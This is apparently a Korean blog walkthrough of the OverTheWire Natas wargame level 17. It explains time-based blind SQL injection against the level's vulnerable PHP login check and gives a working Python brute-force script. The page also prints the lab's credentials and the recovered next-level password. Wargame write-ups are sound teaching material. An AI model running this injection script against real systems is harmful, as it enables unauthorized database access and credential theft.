Level 16 → Level 17
Web/Natas

Level 16 → Level 17

반응형


<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>

이번에는 natas15 때와 똑같은 상황입니다.

그래서 Blind SQL Injection을 시도해보려는 그 순간...

//echo "This user exists.<br>";
//echo "This user doesn't exist.<br>";
//echo "Error in query.<br>";

이런...

서버의 반응을 중심으로 하는 Blind SQL Injection이 먹히지 않게 되었습니다.

 

그렇다면 저희는 이제 어떻게 해야 할까요?

바로 Time based SQL Injection 입니다.

말 그대로 서버의 반응을 토대로 Injection을 진행하는 것입니다.

만들어지는 query 중 하나를 보겠습니다.

SELECT * from users where username="natas18" and password LIKE BINARY "a%" and sleep(5)#"

다음과 같이 앞의 조건이 다 맞아야 뒤의 sleep(5) 명령어가 실행되게 됩니다.

 

그러면 저희는 응답 시간을 기준으로 5초 이상이 걸린 반응이 존재한다면 앞의 조건도 맞는 것이니

해당하는 문자를 추가해주면 될 것입니다.

다음은 파이썬 코드입니다.

 

[natas17.py]

'''
NATAS17
'''
import requests, string

url = 'http://natas17.natas.labs.overthewire.org/index.php'
auth_uname = 'natas17'
auth_passwd = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'

# Find Characters set
# characters='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
characters = ''.join([string.ascii_letters,string.digits])
password = ''

for i in range(32):
    print(f'try {i+1}: ', end='')
    for char in characters:
        # Build the GET request
        # %23(#) -> Oracle DB Remark syntax
        # if username parameter is correct, sleep() command will execute!
        check = ''.join([password,char])
        # URL에 보내는 파라미터에는 항상 인코딩 유의하기!!
        uri = ''.join([url,'?','username=natas18%22+and+password+LIKE+BINARY+\'',check,'%25','\'+and+sleep%285%29%23'])
        r = requests.post(uri, auth=(auth_uname,auth_passwd))

        # elapsed time: 경과 시간
        if r.elapsed.total_seconds() >= 5:
            password += char
            print()
            print(f'Password: {password}')
            break
        else:
            print(f'{char}', end='')

힘들었습니다.

다음으로 갑시다.

 

xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

반응형